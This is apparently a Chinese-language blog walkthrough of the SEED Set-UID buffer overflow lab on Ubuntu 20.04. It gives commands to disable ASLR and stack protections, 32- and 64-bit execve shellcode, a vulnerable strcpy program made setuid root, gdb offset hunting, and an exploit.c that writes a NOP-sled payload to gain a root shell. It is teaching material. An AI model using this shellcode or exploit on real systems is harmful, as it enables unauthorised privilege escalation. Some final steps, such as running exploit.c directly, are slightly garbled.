天天看點

Buffer Overflow Attack Lab (Set-UID Version)Buffer Overflow Attack Lab (Set-UID Version)

Buffer Overflow Attack Lab (Set-UID Version)

Lab連結:https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/

實驗環境:Ubuntu20.04
實驗目的:利用Buffer Overflow Attack對擁有Set-UID權限的檔案進行攻擊,擷取root權限
實驗檔案:Labsetup.zip
實驗指導書:

Environment Setup 環境設定

由于當代作業系統已經針對緩沖區溢出攻擊做出了一定的對策(使其可能性降低),是以在本次實驗中需要先關閉這些對策。

Address Space Randomization 位址随機化

一些内容參考:ASLR

關閉ASLR指令:

sudo sysctl -w kernel.randomize_va_space=0
           

當數值為0時,完全關閉ASLR。

當數值為1時,部分關閉ASLR。隻将 mmap 的基址,stack 和 vdso 頁面随機化。

當數值為2時,完全開啟ASLR。在部分開啟的基礎上增加 heap的随機化。

Configuring /bin/sh 配置 /bin/sh

指導書的說法是,在近期版本的Dash和Bash中,已經實作了一些安全機制來避免他在Set-UID程序中被執行。是以我們要把sh從Dash切換至Zsh。

先安裝Zsh:

sudo apt install zsh
           

然後把sh連接配接到Zsh:

sudo ln -sf /bin/zsh /bin/sh
           

StackGuard and Non-Executable Stack GCC所提供的兩種安全防護

StackGuard:

GCC 中的編譯器堆棧保護技術

StackGuard和StackShield

将在後續實驗步驟中的編譯時關閉。

Task 1:熟悉shellcode

三種版本。以下述代碼為例。

C版本shellcode

#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
           

32位shellcode

; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()’s 1st argument
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()’s 2nd argument
; For environment variable
xor edx, edx ; edx = 0: execve()’s 3rd argument
; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()’s system call number
int 0x80
           

在64位Ubuntu20.04環境下使用gcc -m32編譯時會遇到報錯。原因是gcc 編譯32bit程式需要的依賴包不全。

方案:ubuntu64 使用gcc -m32編譯成32bit程式

解決方法:

安裝依賴包

sudo apt-get install gcc-multilib
           

64位shellcode

xor rdx, rdx ; rdx = 0: execve()’s 3rd argument
push rdx
mov rax, ’/bin//sh’ ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()’s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()’s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()’s system call number
syscall
           

Task 2:Understanding the Vulnerable Program 了解易受攻擊程式

the Vulnerable Program如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
           

可以發現,在原始輸入中,長度最大值為517。但是在bof()中,buffer隻有BUF_SIZE大小,預設值100遠低于517。

strcpy()函數并不會檢查邊界,是以會産生緩沖區溢出攻擊。

産生攻擊的過程:

這個程式被root所擁有,并擁有Set-UID權限。

這個程式需要一個badfile檔案的輸入,而這個檔案可以被一般使用者所控制。

編譯這個程式

繞開安全政策進行編譯

關閉StackGuard和 non-executable stack,通過在gcc時指定-fno-stack-protector和-z execstack選項。

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
           

将其所有者設為root

sudo chown root stack
           

将其權限設定為Set-UID

sudo chmod 4755 stack
           

需要注意的是,設定所有者必須先于設定權限。因為當修改所有者時,Set-UID會被關閉。

通過Makefile來自動化編譯

在code目錄下有個Makefile檔案,可以在指令行中輸入make來實作自動化編譯。

關于make和Makefile的關系:Linux下的make和Makefile

在本次實驗code下Makefile中會有四個參數,并會分别根據這四個參數生成四種 Vulnerable Program。可以在Makefile中修改值來實作自定義。

Task 3:Launching Attack on 32-bit Program 對32位程式發起攻擊

事前調查

進行緩沖區溢出攻擊很重要的一點是,buffer的起始位址和存儲傳回位址之間的距離。通過這個距離,我們可以明白如何構造badfile進行攻擊。

Buffer Overflow Attack Lab (Set-UID Version)Buffer Overflow Attack Lab (Set-UID Version)
  1. b bof : 在bof()函數設定斷點
  2. run: 在gdb模式下run
  3. next : 執行下一句(進行strcpy(buffer,str))
  4. p $ebp: 擷取Kernel.dll基址
  5. p &buffer: 擷取buffer位址

關于第四步的EBP寄存器可以參考:詳細解析ESP寄存器與EBP寄存器

注意:

在gdb模式下,frame pointer的值和正常模式下的不一樣。因為gdb模式下,會在運作之前會把一些環境資料寫入到stack中。在正常模式下沒有這些資料,是以frame pointer會更大一些(可能會疑惑為什麼是更大而不是更小:在intel系統中棧是向下生長的(棧越擴大其值越小,堆恰好相反)。可以參考上面EBP的連接配接)。

發起攻擊

使用一個exploit.c 來完成對badfile的構造。

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* Fill the buffer with appropriate contents here. The length of \x90\x90 depends on the stack.c bof() buffer length. The last four property is the location of shellcode */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
           

其中需要知道shellcode的具體位置。可以通過

gdb stack
disass main
           

然後找到esp位置,得知shellcode的位址位置。

進而把最後的"/x??/x??/x??/x??"中的?? 換成對應的shellcode位址。

./exploit.c
./stack
           

提權成功

繼續閱讀